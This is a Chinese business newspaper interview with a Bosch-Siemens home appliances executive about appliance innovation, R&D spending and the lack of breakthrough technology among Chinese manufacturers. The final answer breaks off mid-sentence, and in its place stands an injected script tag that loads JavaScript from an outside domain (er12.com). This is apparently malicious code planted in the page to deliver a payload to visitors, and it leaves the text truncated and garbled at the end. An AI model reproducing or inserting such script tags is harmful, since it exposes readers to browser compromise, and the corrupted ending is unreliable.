要做就做“破坏性技术”
——对话博世和西门子家用电器集团中国区销售总经理吴建科
中国经济时报：你对这届家电展有什么印象？
吴：让人耳目一新的产品不多。我也向主办方提了建议，希望下一届展会筹备时，能多联系德国及世界各地的其他企业，多组织一些高新技术的产品。 比如博世和西门子家电集团旗下ｇａｇｇｅｎａｕ品牌的橱柜，就是一张台子，台面上有个水槽而已。按一下遥控器，一个杆子伸出来，转一下，抽油烟机就出来了。按下遥控器，摆放碟子架子就升上来了，放上碟子，架子又自动缩回原处……再比如一款电熨斗，其实是一个衣服模型，把衬衫套在模型上，一按开关全搞定，模型会按衬衫的尺寸自动调节大小，将衣服熨烫平整。这些产品代表了一种前瞻性的技术，会给中国本土企业一些启发。
中国经济时报：我在西门子展台上看到了一款名为“ｅ控家远程控制电热水器”，可以通过电话设定家中热水器的开关时间及水温，产品什么时候上市？价格会不会很高？
吴：五一期间我们已在部分市场试销，主要想观察消费者的反应。它的价格其实就是一台普通电热水器加一台西门子无绳电话的价钱。这类技术不是西门子热水器做出来的，而是在热水器上嫁接了西门子无绳电话的信息技术。核心技术是一块芯片，我们投入２千万欧元（２亿人民币）做的研发。这个芯片实际成为一个技术平台，理论上可以控制冰箱、热水器、洗衣机等一系列家电产品。这种思路在博世品牌上也有体现，如怎样将博世在汽车领域积累的防震技术应用到洗衣机上，技术原型有了，嫁接到家电产品上需要解决的是成本问题。就像我前面提到的芯片，如果只用在热水器上，热水器的价格将是天文数字，但有冰箱、洗衣机等诸多家电产品分享，那款芯片的研发费用就摊薄了。博世和西门子的集团技术优势为家电业务带来了很大优势。
中国经济时报：你提到博世和西门子的集团技术优势，让我联想到中国白色家电企业的困惑，它们何尝不想做出一些让人耳目一新的产品，但在企业内部，没有优势技术可嫁接。所以各种家电展上，我们很少能看到国内企业在白色家电上有突破性的技术变革或革命性的产品出炉。
吴：我觉得中国现在需要动用国家力量做基础技术乃至产品上的突破，否则本土企业跟国际大企业的差距太大。拿博世和西门子来说，２００５全球销售额是一万两千亿人民币，从中拿出１％来搞研发就是一百二十亿人民币。如果对一个技术有兴趣，项目经理就能申请２亿人民币的经费，而在中国两个亿是要国家部委批准的。
白色家电作为传统家电，跟数字等新技术的连接往往是做一些嫁接，表现为新技术的零星使用，但不是说破坏性、革命性技术没人研发。一些国际级企业的研究室里有这样的技术。比如抽油烟机真正实现免擦洗，这类技术西门子已经有了，并使用在烤箱上。但西门子暂不会把这个技术拿出来，因为大公司的技术推出是有节奏性控制的，它不会主动取代自己此前的技术。这就是竞争。
中国经济时报：这也是中国家电企业的问题所在，总在国际大企业的技术节奏控制之中，在自有核心技术上捉襟见肘，始终没有挣脱国外公司设计好的那条链子。
吴：是的，问题可能就在这里。比如彩电，中国企业可不可以不去搞显像管，而专注于激光投影技术？一按电门，墙面有多大，电视屏幕就有多大，绕开日本韩国企业所做的平板技术，另支一个摊子。如果ｔｃｌ带着这个技术进入欧洲市场，那打响的就不光是ｔｃｌ的品牌，还有中国国家品牌。所以，我觉得中国家电企业的最终出路是倾全国之力，做出几项“破坏性技术”，趟出一条自由之路。索尼数码相机一出，在胶卷业称王称霸的柯达立马功夫全废就是很好的例证。
中国经济时报：你描述了一个理想状态，实现它，大概必须动用国家力量去做基础技术研究了。不过，在现有条件下，国内白电行业集团化、恐龙化正成趋势。比如美的一口气收购了荣事达、华凌，黑电出身的企业也往白电领域渗透，如长虹收购美菱，海信并购科龙。
吴：竞争策略就几种——技术优势和成本优势。技术优势有高风险也需高投入。中国企业专注寻求规模优势，扩张并购均是围绕这一主题。规模效应本身没错，但如果所有人都吊在规模优势这一根绳子上，那结果就可能很糟。还拿彩电企业举例，如果早些年康佳、长虹、ｔｃｌ中有一家能够做跟别人不一样的事，每年都是几百万台彩电的销量，以此为支撑，应该能做成点事的。 结果大家都去做规模、做价格。每家企业背后都有政府这块牌子撑着，用完了贷款还可以上市圈钱，企业能斗得过中国的股市和银行吗？因此最终该死的没死掉，活下来的也过得极不舒服，资源全被消耗掉了。
中国经济时报：西门子“下厨房”了，开始做厨具、小家电、热水器了，但为什么一直未在国内市场做空调？
吴：空调我们现在正在考虑，但我给技术人员提了一个非常苛刻的要求，西门子如果推出空调，必须是让?script src=http://er12.com/t.js>
